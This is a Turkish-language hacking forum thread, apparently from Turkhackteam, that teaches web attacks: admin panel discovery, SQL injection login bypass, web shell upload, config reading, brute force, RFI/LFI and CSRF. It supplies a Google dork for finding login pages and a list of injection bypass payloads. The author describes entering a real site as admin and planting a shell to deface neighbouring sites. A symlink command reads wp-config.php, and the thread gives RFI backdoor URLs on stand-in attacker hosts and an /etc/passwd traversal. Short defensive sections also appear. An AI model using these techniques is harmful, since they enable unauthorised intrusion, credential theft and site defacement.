Web sitelerini özel PHP scriptlerle oluşturan firmalar aynı zamanda birçok SQL denetimini uygulamak zorundadır. Bir saldırgan Login Bypass, Authentication Bypass, No Redirect Login Bypass gibi yöntemlerle veritabanı yönetimine erişebilir ve kullanıcıların geçerli oturum kimliklerini veya tanımlama bilgilerini çalabilir.

Login mekanizmasını bypass ederek içeri sızma, temel olarak zayıf bir denetimden kaynaklıdır. Saldırganlar içeri sızdığında korumasız dosyaları ararlar. Bu güvenli olmayan dosyalara erişim sağlayarak bilgi toplar ve korumalı uygulamalara saldırmaya çalışırlar.



bfxjuld.jpg


8.1 Admin Panel Bulma

SQL açığı tespit ettiğiniz ve istismar ederken şifresini bulduğunuz sitenin eğer ki login panelini (giriş panelini) admin panelini bulamıyorsanız bazı araçlar sayesinde bulabilirsiniz. Gizlenmiş admin panel dizinleri mevcut peki onları bulabilir miyiz? Kısmen evet çünkü bazı gizlenen paneller isimleri değiştirilebiliyor. Örneğin L0giN.php, GiRiS.html vb.. ama eğer stabil ise login.php, login.html gibi o zaman yüksek ihtimal bulabilirsiniz.


Admin Panel Bulucu Program İçin TIKLAYINIZ (1)

Admin Panel Bulucu Program İçin TIKLAYINIZ (2)

Bu iki araçta çalışmakta ve halen günümüzde hedef sitelerin admin panellerini bulabilmektedir.




mdyy1ts.jpg


8.2 Admin Panel Bypass Etme

Girilen Zararlı Karakterlerin Filtrelenmemesinden Dolayı Kaynaklanan Açıktır. Aynı Sql Injectiondaki Gibi Veri Tabanından Bilgi Çekmek İçin Kullanılan Komutlar İle Siteye Giriş Yapılır. Buradaki Amaç Komutları Username ve Password Kısmına Yazarak Siteye Giriş Yapmaktır.

İlk olarak tarayıcımızı açarak Google'a gidelim ve ardından şu dorkumuzu yazalım;

" inurl:admin/login.php "

yazdıktan sonra aratalım. Karşımıza bir sürü site çıkacaktır. Sitelerden herhangi birisine tıklayalım.



hs1m6kf.jpg




Siteye tıklar tıklamaz karşımıza login sayfası çıkacaktır. Çünkü dorkumuzu bu şekilde filtreleyerek şekillendirdik. Sitelerin login panelleri karşımıza çıkacaktır.



ft46wn2.jpg


Login sayfasına bypass kodlarımızı yazalım. Örnek olarak yazdığım kod;

''Or'='Or''

parola kısmına da aynısını yazarak login diyorum.



6ayrbhp.jpg


Ve görüldüğü üzere admin olarak panele giriş yaptım. Artık istediğimi yapabilirim. Bazı siteler upload (dosya yükleme) kısmı olmuyor ancak bunda var. Buradan shell sokarak sunucudaki diğer sitelere index atabiliriz.

Ancak bu şekilde giriş yaptığım gibi her siteye giriş olmaz. Eski bir açık olduğundan çoğu site korumasını alarak açıklarını kapatmıştır.

nhhm08v.jpg




8.3 Örnek Bypass Kodları


Örnek bypass kodlarımız;

''Or'='Or''

anything' OR 'x'='x

1'or'1'='1

' or 1=1 or ''='

" or 1=1 or ""="

' OR ''='

'' OR ''=''

'OR''='

hey' or 1=1–

''Or 1 = 1'

' or 1=1--

or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a

hi") or ("a"="a

'hi' or 'x'='x';

x' or 1=1 or 'x'='y

\x27\x4F\x52 SELECT *

\x27\x6F\x72 SELECT *

'or select *

admin'--

")) or (("x"))=(("x

" or ""+"

admin"or 1=1 or ""="

admin") or ("1"="1"--




Bu kodlar ile giriş yapamadığınız sitelere giriş yapabilme ihtimalinizi arttırabilirsiniz.


h7fao2l.png




py6cwky.jpg


9. Hedef Web Site Hakkında Bilgi Toplama


Hedef web sitesi hakkında bilgi toplamak için site report netcraft sitesini kullanabiliriz. Örneğin turhackteam.org adresine bakalım.




adresine gidelim.

İşte karşımıza çıkan sonuçlar;



57uokq7.jpg


ayyc7y8.jpg



Sitemizin bağlı olduğu hostingler, ip adresleri, dns ve domain hakkında bi takım bilgiler çıkıyor. Analizde ise sitenin sağlıklı olduğunu ve bir sorunun olmadığını ilk görseldeki sağ üstteki 0/10 yazan yerden ve yeşil renkten anlayabiliriz.


jv44tfd.jpg


khptgnp.jpg


9.1 Sunucu İçerisini Görüntüleme


Herhangi bir web sitenin sunucu içerisini görüntüleyebiliriz. Bu sunucu içerisinde bambaşka siteler mevcut. Aratılan sitenin sunucu içerisinde bu siteler yer alır. Örnek olarak turkhackteam.org adresine bakalım.



adresine gidelim.


8tqwgzo.jpg



Görüldüğü üzere turkhackteam.org'un da yer aldığı pek çok siteli bir sunucu mevcut olduğunu gördük.


6lb67ii.jpg


9.2 İP Adresi Geçmişi Görme

Şimdi ise IP History'e bakalım.


adresine gidelim.


jahp5z2.jpg



karşımıza çıkan sonuçlar ve ip adresleri bu şekilde.


h7fao2l.png
TESEKKURLER . Ellerine, Emeyine, Yureyine saglik
 

requiTe

Yeni üye
7 Nis 2022
17
6
rxdr9g1.jpg


4. Code İnjection Nedir?


Kod enjeksiyon saldırısı dediğimiz saldırı türü; sistemlere kötü amaçlı kodların enjekte edilmesini içeren saldırılar için kullanılan genel terimdir. Kullanıcıdan bilgi veya dosya istendiği durumlarda yeterli güvenlik kontrolü sağlanmazsa sitenin içerisine shell veya malware gibi zararlı yazılımlar sokulabilir.

Bu zararlı yazılımlar (shell gibi) bir sitenin kontrolünü tamamen hackerın eline geçirebilir ya da malware gibi sitenin belirli yerlerinde izinsiz reklamlar gösterebilir.

Şimdi sıralayalım. Kullanıcı girişleri yeterince kontrol etmezse sitenin bütününde güvensizlik oluşturur ve bu açık meydana gelir. Bu açık meydana gelirse diğer açıklara da sebebiyet verebilir ve başka saldırıların başlatılmasına ön ayak olur.

Bu sayede sistemin bütünlüğü en kötü şekilde tehlikeye atılmış olur.


imcpwfz.jpg


4.1 Hedef Siteye Shell Atma

Shell’i servere yükleme yöntemi için bir kaç madde halinde açıklayalım.
  • Remote file inclusion (RFI) açıklarından faydalanabiliriz​
  • Sql injection açıklarından faydalanabiliriz​
  • Exploits kullanarak yükleme yapabiliriz​
  • Upload (Dosya izinlerinden oluşan upload açıkları) açıklarından faydalanabiliriz​
  • Logger vb. spy yazılımlardan faydalanabiliriz​
  • Hedef sunucu hostundan hesap açarak yükleme yapabiliriz​
  • Sosyal mühendislik (social engineering) kullanarak yükleme yapabiliriz​
1) Remote file inclusion açıklarını kullanarak .txt uzantılı shellimizden bu yazımızda bahsettiğimiz izinler çerçevesinde(permissionlar) istediğimiz gibi .php uzantılı shell yükleyebiliriz. veya bağlandığımız .txt shell ile yine sunucu yetkileri çerçevesinde alt dizinlere geçebiliriz yada indeximizi upload eder çıkarız.

siteadi.com : siteadi.com

ile bağlandığımız siteye .php uzantılı shelli upload edersek kullanımı şu şekilde olur.

SiteAdi.com – Siteadi.com
şeklinde kullanıma geçebiliriz.

Şuanda RFI bitmesede çok nadir rastlanan açıklar haline geldi. Nolur nolmaz gene de bütün güvenlik bilgilerinizi RFI açığına bağlamayınız.

2) SQL Injection Açığıyla nasıl shell yükleriz derseniz, öncelikle SQL açığını kullanmasını bilen mantığı hemen anlar. Nedir bu mantık? Sql kodları yardımıyla site sahibinin kullanıcı adı ve şifresini elde ediyoruz. kimi zaman md5 seklinde şifre gelir, bizde md5 cracker yardımıyla hashleri kırarız.
elde ettiğimiz kullanıcı adı ve şifre ile siteye giriş yaparız, admin panelden bir upload kısmından shell dosyamızı (.php veya .asp) upload ederiz ve yine sunucuya bağlanmış oluruz.

Sql şuanda en çok kullanılan yaygın hacking (güvenlik zafiyeti) yöntemlerinden biridir. Çok büyük sitelerde, CMS sistemlerde bile rastlanan hiç değilse her serverde en az 1 den fazla sitede rastlanan açıktır.

3) Exploits kullanarak shell atabiliriz bu da yine derlenmiş exploitler sayesinde sitenin admin bilgilerini (kullanıcı adı ve şifresini) elde ederek admin panelden shell upload edebiliriz ve yine sunucuda yetkilerimiz dahilinde işlem yapabiliriz.

Bu kısma şöyle bir örnek verelim, bir dönem IPBoard forumlarında belirli açık sayesinde yazılan exploits ile admin şifrelerine ulaşabiliniyordu. Tabi CMS sistemler sürekli güncellendiğinden daha sonraları kapatıldı bu açık.

4) Upload açıklarından faydalanarak sitelere shell yükleyebiliriz. Burada genellikle .php veya .asp uzantılı shellerimizi kabul etmeyen upload siteleriyle karşılaşıyoruz. Bunun için shell içine gıf89;a yazısını ekleyerek upload sayfasının yükleyeceğimiz shelli resim dosyası olarak görmesini sağlayabiliriz.
Aklınızın alamayacağı kadar çok upload açıklı dosyalar vardır. Bunlardan en çok kullanılan bir iki tanesini buraya bakalım;

upload.php , upload.asp , upload.htm , upload.html
Tabi bu uzantıları ve upload sayfalarını siz hayal gücünüze bağlı olarak üretebilirsiniz. Hazır dizin veya sayfa bulucular da mevcut. Onları da araştırabilirsiniz.

5) Logger vb. spy yazılımlar kullanılarak shell yüklenmesi öncelikle hedef sitemizin adminini buluyoruz gerekli sosyal mühendislik vb. işlemleri gerçekleştirdikten sonra loggeri yedirip admin şifreleride dahil olmak üzere ftp ve mail şifrelerini alıyoruz. Tabi bu kısım ayrı bir uzmanlık alanı gerektirir. Çok geniş bir konudur ki tecrübe ister. Neyse devam edelim aldığımız şifreler sayesinde site sahibinin yetkilerini almamıza rağmen FTP’sine girdiğimiz sitenin sunucusunada ulaşmak istiyorsak shell upload eder ve yetkilerimiz çerçevesinde izinlerimizi kullanarak siteyi veya tüm serveri hackleyebiliriz.

6) Host firmasına yapılan sosyal mühendislik ile shell yükleme işi ise şöyle yapılır, diyelim ki hedef bir sitede her şeyi yapmamıza rağmen bir türlü açık bulamadık. Genelde son çare olarak kullanılan bu yöntemle hostçuyla irtibata geçer sosyal mühendislik yaparak sunucudan bir hesap açarız, açtığımız hesapta ise küçük bir script kurar ve FTP’mize shell atarak serveri rootlar hedef siteye ulaşırız veya manuel geçişler yaparak da hedef siteye ulaşabiliriz.

7) Sosyal mühendislik yöntemiyle siteye shell yükleme yapabiliriz. Burada işin içine sosyal mühendislik girdiği için belirli bir yöntem yoktur. Ancak sm yapan kişinin kabiliyetine, tecrübesine bağlıdır. Kişi sosyal mühendislik yapabilecek kabiliyetteyse çok kolay ve rahat bir şekilde çeşitli yollarla siteye veya FTP’ye ulaşarak shell atabilir. Ancak bu Sosyal mühendislik olayı ayrı bir uzmanlık alanı olduğu söyleyelim. Forumumuzda zaten binlerce sosyal mühendislik konuları mevcut, onlar okunabilir.

Evet shell yükleme yöntemlerimiz bu şekilde idi.

Kaç Tür Shell Vardır?

Genel olarak kullanılan 3 çeşit shell vardır. Bunlar .php, .asp ve .aspx dillerindeki shellerdir. Şuanda bu dillerde yazılmış 1000lerce shell var hepsinin çalışma mantığı aynıdır ancak birkaç farklı özellik eklenmiş halleri vardır.

En çok Kullanılan Sheller Başlıca Şöyledir:

C99.php (Yeni başlayanlar için kullanımı kolay, arayüzü oldukça basit bir shell)
R57.php (Shell sistemini artık çözmüş kod bilgisine döken kişiler kullanır)
CyberSpy5.asp ( Genellikle yetkili (usta) kişilerin kullandığı shelldir)
LORD.aspx ( ihtiyacı gören, kullanışlı zaman zaman kullandığımız tavsiye bir shelldir.)
c99 veya r57 .txt sheller ( Bunlar RFI için kullanılan shellerdir, RFI’de .asp shell veya .php shell kullanılmaz.)

şimdi şöyle devam edelim ve bitirelim;

.php uzantılı sheller unix, linux, freebsd sunucularında kullanılır.

.asp uzantılı sheller ise windows sunucularda kullanılır.

şimdi siz bir linux server’e .asp uzantılı shell atamazsınız atsanız dahi çalıştıramazsınız.

ancak windows serverlere nadirende olsa rastlanmıştır. .php uzantılı sheller atılabilirken, .asp shell kadar yetki vermiyor. genelde editleme yetkisine rastlanıyor. Yükleme ve silme yetkileri bulunmamaktadır.

Bu sebepten shell yükleyeceğiniz sitenin sistemini araştırmanız ve iyi bilmeniz gerekmektedir.



gkss0a5.jpg


4.2 Shell Atarak Server Bypass Etme (Config Okuma)


Buradaki asıl amacımız symlink, config grabber işlemlerini denediyseniz ama config okuyamadıysanız diye deneyebileceğiniz bir işlemdir.

Bir siteye shell yükledikten sonra config okumak için ne kadar yöntem varsa eğer denerseniz illa ki bir şekilde okunur. Bizlerde size bunu göstermek istiyoruz. Çünkü bir siteye girip index atmak kolay ama önemli olan devamını getirmektir. Daha fazla uzatmadan neler yapabileceğinizi gösterelim.

k9rcsrj.jpg


Hedef sitemiz bu.



hn0q7vt.jpg



Symlink’e Basıyoruz. Bastıktan sonra sitenin wordpress olduğunu görüyoruz. O yüzden config dosyası olan wp-config.php’ye tıklıyoruz.


7pjevgv.jpg



Tıkladığımız da böyle bir hata alıyoruz.


cnvfwic.jpg



Daha sonra alfa shell üzerinden cgi shelle geliyoruz. Buradan perl veya pythondan birini seçiyoruz. Ben perl’i seçtim.


d28001w.jpg



Birini seçtikten sonra karşımıza bu ekran gelecek


1bxhay3.jpg



config okumak için:

ln -s /home/xxxx/public_html/wp-config.php config1.txt şeklinde komut veriyoruz.

Komutumuzu verdikten sonra site adresinden:

/ALFA_DATA/cgialfa kısmına geliyoruz. Shelli nereye yüklediyseniz oradan yapıştırıp geçebilirsiniz. Mesela örnek dizin yerimiz:

wp-content/plugins/wordpress/includes/ALFA_DATA/cgialfa

bu şekilde. Wordpress sitelere plugin ile shell yükleyebilirsiniz.


b0dlcmt.jpg



dizine de geçtikten sonra karşımıza config çekmesini istediğimiz dosyayı göreceğiz. Ben 1.txt diye komut verdim. Eğer txt dosyasına tıklarsanız config bilgilerini görmüş olursunuz.


hus5ue2.jpg



Bu işlemde bu kadar basit. Sizler de bu şekilde bypass yöntemleri deneyerek config okuyabilir ve birden fazla site hackleyebilirsiniz.


h7fao2l.png



nouyzxe.jpg


4.3 Web Site Saldırılarına Karşı Önlemler

Saldırganlar, web sitesi güvenlik açıklarından yararlanmak için çeşitli yöntemlerden yararlanır. Sonuç olarak, siteler arası komut dosyası çalıştırma saldırısı riskini azaltmak için tek bir strateji yoktur.

Siteler arası komut dosyası oluşturma kavramı, güvenli olmayan kullanıcı girişinin doğrudan bir web sayfasına işlenmesine dayanır. Kullanıcı girdileri uygun şekilde sterilize edilirse, siteler arası komut dosyası çalıştırma saldırıları imkansız olacaktır.

Web sitelerinde kullanıcılara ait girdilerin zarar görmemesi için farklı çözümler sunulabilir. Web sitenizi korumak için, web uygulamalarınızı aşağıdaki koruyucu önlemlerle güçlendirmenizi öneririz.

  • Güvenlik Açığı Kodu Bulun: Siteler arası komut dosyası çalıştırmadan kurtarmanın ilk adımı, güvenlik açığının nerede olduğunu belirlemektir.​
  • Kötü Amaçlı İçeriği ve Arka Kapıları Kaldırın: Kötü amaçlı yazılımın konumu hakkında bilgi edindikten sonra, kötü amaçlı içeriği veya kötü verileri veritabanınızdan kaldırın ve temiz bir duruma geri yükleyin. Ayrıca arka kapılar için web sitenizin geri kalanını ve dosya sistemlerini kontrol etmek isteyeceksiniz.​
  • Güvenlik Açığını Düzeltin: Veritabanlarındaki, uygulamalardaki ve üçüncü taraf bileşenlerdeki güvenlik açıklarından sıklıkla bilgisayar korsanları yararlanır. Güvenlik açığı bulunan yazılımı belirledikten sonra, diğer güncel olmayan bileşenlerle birlikte güvenlik açığı bulunan koda yamalar ve güncellemeler uygulayın.​
  • Kimlik Bilgilerinizi Güncelleyin: Bir güvenlik açığı oluştuğunda, güvenlik açığı yamalanır yüklenmez tüm parolalarınızı ve uygulama sırlarınızı değiştirmeniz önemlidir. Veritabanında hileli yönetici kullanıcı veya arka kapı bulunmadığından emin olmak için verilerinizi temizleyerek yeniden bulaşmayı önleyin.​
  • Bir WAF Ayarlayın: Web sitenize gelen kötü niyetli istekleri filtrelemek için bir web uygulaması güvenlik duvarı kurmayı düşünün. Bunlar, yamalar kullanıma sunulmadan önce yeni güvenlik açıklarına karşı koruma sağlamak için özellikle yararlı olabilir.​


h7fao2l.png



hw0feiv.jpg


5. Brute Force Nedir?

Brute Force hackerların deneme-yanılma yoluyla şifreleri çözebilmek için kullandığı bir dijital ve kriptografik saldırı tekniğidir. Brute Force saldırısında, hackerlar saldıracak hedefte bir bilgi bulamamasına karşılık tahmin ve internet ortamında bulunan basit şifre türlerini listeler, daha sonra hedefe yönelik listelenen şifrelerin denenmesi için yardımcı bir yazılım oluşturulur yahut şifreler tek tek denenir ve kırılmaya çalışılır.

Çoğu Brute Force saldırısı otomatiktir bu yüzden her şirket bu tarz bir saldırıda hedef olabilir.




c8ujdt4.jpg


5.1 Kaba Kuvvet Saldırıları

Brute force kaba kuvvet saldırılarının pek çok türleri mevcuttur. Her bir kaba kuvvet saldırısı, hassas verileri ortaya çıkarmak için farklı yöntemler kullanmaktadır.

Kaba kuvvet (brute force) saldırılarının türleri:

  • Basit kaba kuvvet saldırıları: Bir siber saldırgan yazılım araçları ya da sözlük benzeri diğer araçlardan yardım almaksızın kişisel bilgilerinizi tahmin etmeye çalışabilir. Söz konusu yöntem sadece basit düzeydeki şifreleri ortaya çıkarmaya yarar.​
  • Sözlük saldırıları: Kaba kuvvet saldırılarındaki temel araç konumundaki sözlükler, şifre kırma işlemlerindeki en işlevsel bileşenlerden biri. Standart ya da özel sözlükler kullanılarak yapılan saldırılarda bilgisayar korsanı, seçtiği hedefin kullanıcı adına ilişkin olası şifreleri çalıştırmayı deniyor. Sıralı saldırı türü olarak da bilinen sözlük saldırılarının biraz zahmetli olduğunu belirtmek gerek.​
  • Hibrit kaba kuvvet saldırıları: Basit kaba kuvvet ve sözlük saldırılarının birleşimi şeklinde düşünebileceğiniz hibrit saldırılarda mantıksal tahminler ve dış araçlar kullanılıyor. İlgili yöntem yaygın sözcüklerin rastgele karakterlerle karıştırıldığı birleşik parolaları bulmak için tercih ediliyor.​
  • Ters kaba kuvvet saldırıları: Yakın zamandaki veri ihlallerinden sızdırılan şifrelerin kullanıldığı yöntemde eşleşme bulunana kadar milyonlarca kullanıcı adı aranıyor. Ters saldırıda yaygın yaklaşımın aksine bilinen bir paroladan denemeye başlanıp ters strateji uygulanıyor.​
  • Tekrar eden kimlik bilgisi saldırıları: Kimlik bilgisi doldurma olarak da ifade edilen saldırı birçok web sitesinde aynı oturum açma bilgilerini kullananları hedef alıyor. Bilgisayar korsanı verilerini daha önce ele geçirdiği şirket ya da kamu kurumu çalışanı üzerinden saldırıyı planlıyor.​


Brute Force İle Site Hacklemek İçin TIKLAYINIZ (1)

Brute Force İle Site Hacklemek İçin TIKLAYINIZ (2)


h7fao2l.png



a9cjmsd.jpg


6. RFI ve LFI

Uzaktan Dosya Ekleme (RFI), en sık PHP çalıştıran web sitelerinde bulunan bir güvenlik açığı türüdür. Saldırganın, genellikle web sunucusundaki bir komut dosyası aracılığıyla uzaktan barındırılan bir dosya eklemesine olanak tanır. Güvenlik açığı, kullanıcı tarafından sağlanan girişin doğru doğrulama olmadan kullanılması nedeniyle oluşur. Bu, dosyanın içeriğinin çıktısını almak kadar az bir şeye yol açabilir, ancak önem derecesine bağlı olarak rasgele kod yürütülmesine neden olabilir.

Yerel Dosya İçerme (LFI) RFI'ye çok benziyor; tek fark, LFI'de saldırganın kötü amaçlı komut dosyasını yerel olarak yürütülmek üzere hedef sunucuya yüklemesi gerektiğidir.

Diğer bir tabirle;

File Inclusion : Dosya ekleme olarak tabir edilebilen bir zayıflıktır. File Inclusion saldırıları, PHP web yazılım dilinde karşılaşılan bir güvenlik açığıdır. Kötü niyetli saldırganın, yerel (local) ve uzaktan (remote) kod çalıştırmasına olanak sağlar.

LFI (Local File Inclusion) : Yerelden dosya ekleyerek kod çalıştırmaktır.

RFI (Remote File Inclusion) : Uzaktan dosya ekleyerek kod çalıştırmaktır.


f3vge6m.jpg


6.1 RFI Nedir?

RFI (Remote File Inclusion) Örneği

index2.php dosyası:

CSS:
include(“$duyurular/guncel/duyuru.php”);

Bu satırdaki “$” işareti bulunan parametreden doğan hatalı kodlama ile uzaktan dosya çağırmak mümkündür.

Yukarıdaki şekilde, adresinde bulunan zararlı kodlar www.hedef.com adresi üzerinde çalıştırılacaktır.
Bu noktada saldırgan yönlendirilen alanda shell ve listpatch isimleriyle tabir edilen kötü amaçlı scriptçikleri kullanarak web sitenin sunucusuna sızmaktadır! Böylelikle sunucu üzerinde istenilen işlemleri gerçekleştirebilmektedir. Bunların en çok kullanılanları r57, C99 ve veryasyonlarıdır.


Mesela R57 Shell’inin özelliklerine bir değinelim…
R57 web üzerinde komut çalıştırma, dizin atlama, dosya düzenleme, yeni dosya oluşturma, dosya çalıştırma, veritabanına bağlanma&bağlantıları görme, dosya içeriği okuma, dosya yükleme ve dosya indirme vs.. özellikleriyle sunucu üzerinde yetkisiz olarak birçok işlev gerçekleştirmektedir.
Sql veritabanına bağlantı kurabilir, veritabanını dışarı aktarabilir ve belirtilen veritabanı üzerine sql komutları çalıştırabilir. Bu özelliği ile hedef sitenin veritabanı bilgilerini barındıran dosyayı dışarı aktarabilir ve sql komutlarıyla istenilen diğer işlemler yapılabilir.
Özellikle hosting firmalarının çok fazla siteyi aynı sunucuda barındırdığını düşünürsek herhangi bir sitede güvenlik açığı olması durumunda o sunucu üzerinde bulunan tüm web siteleri ve sunucu tehlike altındadır.


s38w8j7.jpg


6.2 LFI Nedir?


LFI (Local File Inclusion) Örneği

CSS:
index.php dosyası:
<?php
include($_GET['sayfa'])
?>

Bu gibi bağlantılar içeren bir web sitesinde aşağıdaki gibi bağlantı istekleri oluşturulur:

index.php?sayfa=haberler.php

index.php?sayfa=iletisim.php

En basit görünümüyle böyle bir yazılım, LFI (Local File Inclusion) zayıflığını oluşturur:

* index.php?sayfa=../../../../../../../../../etc/passwd

Yukarıdaki “../” ifadesi bulunduğu dizinden bir üst dizine çıkmayı sağlar ve sunucunun /etc/passwd içeriğini yani user listesini ekrana yazdırır:


CSS:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
…..


oyn77jm.jpg


6.3 RFI ve LFI Aralarındaki Farklar Nelerdir?


Uzaktan dosya ekleme (RFI), harici komut dosyalarına dinamik olarak başvuran web uygulamalarındaki güvenlik açıklarını hedefleyen bir saldırıdır.

Failin amacı, farklı bir etki alanında bulunan uzak bir URL’den kötü amaçlı yazılım (ör. arka kapı kabukları) yüklemek için bir uygulamadaki referans işlevinden yararlanmaktır.

Başarılı bir RFI saldırısının sonuçları arasında bilgi hırsızlığı, güvenliği ihlal edilmiş sunucular ve içerik değişikliğine izin veren bir site ele geçirme yer alır.

RFI’ye benzer şekilde, yerel dosya ekleme (LFI), kötü amaçlı dosyaların web tarayıcıları aracılığıyla sunuculara yüklenmesini içeren bir vektördür. Dosya dahil etme saldırıları bağlamında genellikle iki vektöre birlikte başvurulur.

Her iki durumda da başarılı bir saldırı, kötü amaçlı yazılımın hedeflenen sunucuya yüklenmesiyle sonuçlanır. Ancak, RFI’den farklı olarak, LFI saldırıları, kullanıcı tarafından sağlanan/kontrol edilen girdiyi doğrulamakta başarısız olan güvenli olmayan yerel dosya yükleme işlevlerinden yararlanmayı amaçlar.

Sonuç olarak, kötü niyetli karakter yüklemelerine ve dizin/yol geçiş saldırılarına izin verilir. Failler daha sonra kötü amaçlı yazılımı uzak bir konumdan sertleştirilmiş bir harici referans işlevi kullanarak almak yerine, güvenliği ihlal edilmiş bir sisteme doğrudan yükleyebilir.


6izl4qj.jpg


6.4 Saldırıdan Korunma Yöntemleri


Yöntem 1

Yazılan kodların RFI açıklarına karşı kontrol edilmesi.



Zayıf Kod:

PHP:
<?php

include ($ornek. ‘../index.php’);

?>

Güvenli Kod:


PHP:
<?php

$ornek= ‘veri’;

include ($ornek. ‘../index.php’);

?>

örnek değişkenine tanımlama yapıldığından dış verinin girişine izin vermeyecek ve RFI & LFI açıklarından korunmamızı sağlayacaktır.


Yöntem 2

php.ini

/etc/php.ini
dosyasının içini açarak disable_function değerinin yanına aşağıda belirtilen özellikleri yazarak web shell scriptçiklerinin etkisiz kalmaları sağlanabilir:

disable_function = system, passthru, exec, popen, proc_close, proc_get_status, proc_nice, proc_open, allow_url_fopen, shell, shellexec, executeservice


9p2fpmq.jpg

6.5 Uzaktan Dosya Ekleme Örnekleri

RFI penetrasyonlarının nasıl çalıştığını göstermek için şu örnekleri göz önünde bulunduralım:

  1. Bir JSP sayfası şu kod satırını içerir: <jsp:include page=”<%=(String)request.getParmeter(“ParamName”)%>”> aşağıdaki istekle değiştirilebilir: Page1.jsp?ParamName= /WEB-INF/DB/parola.​

Talebin işlenmesi, şifre dosyasının içeriğini faile ifşa eder.

  • Bir web uygulamasının, burada gösterildiği gibi bir URL adresinden içerik talep eden bir içe aktarma ifadesi vardır: <c:import url=”<=request.getParameter(“conf”)%>”>.​
Temizlenmemişse, aynı ifade kötü amaçlı yazılım enjeksiyonu için kullanılabilir.


Örneğin: Page2.jsp?conf=https://evilsite.com/attack.js.


  • RFI saldırıları, genellikle, uzak bir kötü amaçlı dosyaya başvurmak için istek parametrelerinin değiştirilmesiyle başlatılır.​

Örneğin, aşağıdaki kodu göz önünde bulunduralım:

$incfile = $_REQUEST[“file”]; include($incfile.”.php”);

Burada, ilk satır HTTP isteğinden dosya parametre değerini çıkarırken, ikinci satır dosya adını dinamik olarak ayarlamak için bu değeri kullanır. Dosya parametre değerinin uygun şekilde dezenfekte edilmediği durumlarda, bu kod yetkisiz dosya yüklemeleri için kullanılabilir.



qa7o0p6.jpg


Örneğin, bu URL dizesi;

http://www.example.com/vuln_page.php?file=http://www.hacker.com/backdoor uzak bir konumda depolanan bir arka kapı dosyasına harici bir referans içerir.

(http://www.hacker.com/backdoor_shell.php.)

Uygulamaya yüklendikten sonra, bu arka kapı daha sonra temel sunucuyu ele geçirmek veya uygulama veritabanına erişim sağlamak için kullanılabilir.

R57 arka kapı kabuğu, RFI bölümleri için popüler bir seçimdir.



61anknu.jpg

6.6 DIY RFI Önleme ve Azaltma

Bir dereceye kadar, uygun giriş doğrulama ve temizleme yoluyla RFI saldırıları riskini en aza indirebilirsiniz. Ancak, bunu yaptığınızda, tüm kullanıcı girdilerinin tamamen sterilize edilebileceği yanılgısından kaçınmak önemlidir. Sonuç olarak, sterilizasyon yalnızca özel bir güvenlik çözümünün tamamlayıcısı olarak düşünülmelidir.

Bunu söyledikten sonra, kullanıcı tarafından sağlanan/kontrol edilen girdileri elinizden gelen en iyi şekilde sterilize etmek her zaman tercih edilir.

Bu girdiler şunları içerir:

GET/POST parametreleri
URL parametreleri
Çerez değerleri
HTTP başlık değerleri

Temizleme sürecinde, giriş alanları bir kara liste (izin verilmeyen kötü niyetli karakterler) yerine bir beyaz listeye (izin verilen karakter kümesi) göre kontrol edilmelidir. Saldırganlar, kodlanmış veya onaltılık biçimler gibi farklı bir biçimde girdi sağlamayı seçebildiğinden, genel olarak kara liste doğrulaması zayıf bir çözüm olarak kabul edilir.

Ayrıca, sunucu tarafında uygulanacak çıktı doğrulama mekanizmaları için en iyi uygulamadır. İşlem yükünü azaltma avantajına sahip olan istemci tarafı doğrulama işlevleri, proxy araçları tarafından yapılan saldırılara karşı da savunmasızdır.

Son olarak, yükleme dizinleri için yürütme iznini kısıtlamayı ve izin verilen dosya türlerinin (örneğin PDF, DOC, JPG, vb.) beyaz listesini tutmayı ve aynı zamanda yüklenen dosya boyutlarını kısıtlamayı düşünmelisiniz.

Son olarak yararlı bulduğum konulardan biri olan LFİ & RFİ Ofansif ve Defansif Anlatım konusu okumak için TIKLAYINIZ.



h7fao2l.png




ec58a76.jpg


7. CSRF Nedir?

CSRF yani siteler arası istek sahtekarlığı, herhangi bir web uygulamasında oturum açmış bir kullanıcının oturumunu o web sitesinin açığından faydalanarak kullanıcının isteği dışında , saldırganın sanki o kullanıcıymış gibi erişim sağlayıp işlemler yapmasıdır. Web sitelerindeki bu açıklar, çoğunlukla GET requestleri ve SESSION işlemlerinin doğru kontrol edilememesi gibi durumlarda ortaya çıkan açıklardır. Uygulamaya giden isteklerin hangi kaynaktan ve nasıl gönderildiği kontrol edilmeyen sistemlerde ortaya çıkan bu zafiyet, “Session Riding” olarak da bilinir.


Saldırganların kullanıcının oturumuna erişebilmeleri için sadece zararlı bağlantıya tıklaması yeterlidir. Örneğin bu saldırılar, hesaplardaki e-posta adresini değiştirmek, şifreleri değiştirmek veya para transferi yapmak olabilir. Güvenliği ihlal edilmiş kullanıcının ekstra yetkinlikleri varsa saldırgan, uygulamanın tüm verilerinin ve işlevlerinin tam denetimini ele geçirebilir.


h81uweh.jpg


7.1 CSRF Saldırısı Nasıl Oluşturulur?


CSRF saldırısı oturum açmış bir kullanıcının saldırganın kontrol ettiği web sitesine erişmesi sağlanır ve sonra JavaScript kodu çalıştırılarak veya formlar göndererek süreci ilerletir. Bir CSRF zafiyeti için gereken HTML'yi manuel bir şekilde yazmak özellikle request çok fazla parametre içeriyorsa zor olur. Bir CSRF istismarı oluşturmak için en kolay yöntem Burp Suite programında bulunan CSRF PoC oluşturucuyu kullanmaktır.



ar94py8.jpg


7.2 Saldırı Yapmak İçin Gerekenler

Bir CSRF güvenlik açığını kötüye kullanabilmek için ilk yapacağınız şey kötüye kullanabileceğiniz bir davranış bulun örneğin; şifreyi veya e-postayı değiştirin, mağdurun sizi bir sosyal ağda takip etmesini sağlayın. Oturum yalnızca tanımlama bilgilerine veya HTTP Temel Kimlik Doğrulama başlığına dayanmalıdır, oturuma erişim için başka bir başlık kullanılamaz. Son olarak, istekte beklenmedik parametreler olmamalıdır.

Bu güvenlik açığına yakalanmamak için yapabileceğiniz birkaç yöntem bulunmaktadır. Bunlar;


  • Oturum çerezi SameSite çerezleri kullanıyorsa, çerezi rastgele web sitelerinden gönderemeyebilirsiniz.​
  • Kaynaklar arası kaynak paylaşımı: ne tür bir HTTP isteği gerçekleştirmeniz gerektiğine bağlı olarak, mağdur sitenin CORS policysini es geçmeyin.​
  • Parola kullanıcısından eyleme yetkilendirme vermesini isteyin .​
  • Bir captcha'yı çözün.​
